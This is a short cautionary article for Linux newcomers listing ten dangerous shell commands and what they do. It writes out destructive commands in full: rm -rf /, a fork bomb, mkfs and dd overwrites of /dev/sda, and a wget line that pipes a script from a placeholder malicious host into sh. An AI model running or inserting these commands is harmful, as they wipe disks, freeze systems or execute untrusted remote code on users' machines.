Beware of these Linux Commands

If you are new to the Linux command line and wondering the do’s and dont’s while using it, this article would be of a great help in understanding the usage of those commands which shouldn’t be used.

This could also be referred as “10 MOST DANGEROUS COMMANDS NOT TO BE USED ON LINUX“.

Here it goes.

1. rm -rf Command – “The ultimate delete command”

One should be careful while executing this command since it is the fastest way to delete a folder and all its contents. Although we might not deliberately execute this, a simple typo would cause a great deal of damage to the system. Be aware of the following options used along with the ‘rm’ command

rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes ‘Read only File’ without asking.
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.

2. :(){:|:&};: Command – “The Fork Bomb”

This is commonly referred to as the “Fork Bomb”. The operation of this involves the definition of the function “:” which executes twice ie. once in the foreground and once in the background after which it goes on to execute until the system itself freezes.

3. command > /dev/sda – “The replace command”

This command signifies that the output of the ‘command’ is getting redirected onto the ‘/dev/sda’, it simply proceeds in replacing all the existing data in this location with raw data.

4. mv folder /dev/null – “Never use this”

This command could be fatal since it moves ‘folder’ to ‘/dev/null’. The ‘/dev/null’ is a special file that discards all the data written to it and still manages to produce a false report that the write operation has been successful.

5. wget http://malicious_source -O- | sh – “Be aware of download source”

This command succeeds in downloading a script from a malicious source and executing it, ‘wget’ command downloads the script and ‘sh’ command executes the downloaded script.
One should always download packages and scripts from trusted source

6. mkfs.ext3 /dev/sda – “The All Clear Command”

This command would completely format the block ‘sda’ and succeeds in erasing all the content in it. One could be sure that after the execution of this command, the hard disk drive would be brand new without any data, leaving the system in a unrecoverable stage.

7. > file – “The Flush Command”

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^foo^bar – “Think before you hit this”

This command is used to edit the previously run command without the need of retyping the whole command again. But this could cost you a lot if you have not verified the change in the original command using ^foo^bar command.

9. dd if=/dev/random of=/dev/sda – “The Deadly Command”

This command would flush off the ‘sda’ block and write random junk data onto it. After this, you would be left with nothing but a unrecoverable system at your disposal.

10. Hidden Command

This command is nothing but the first command under the ‘rm -rf’ command, here the code is completely hidden in the ‘hex’ so that an ignorant person will not recognise it.Executing this command would wipe out the root partition. This command propagates that we should not execute command that are not understood by us and we should always compile/run commands from known and trusted sources.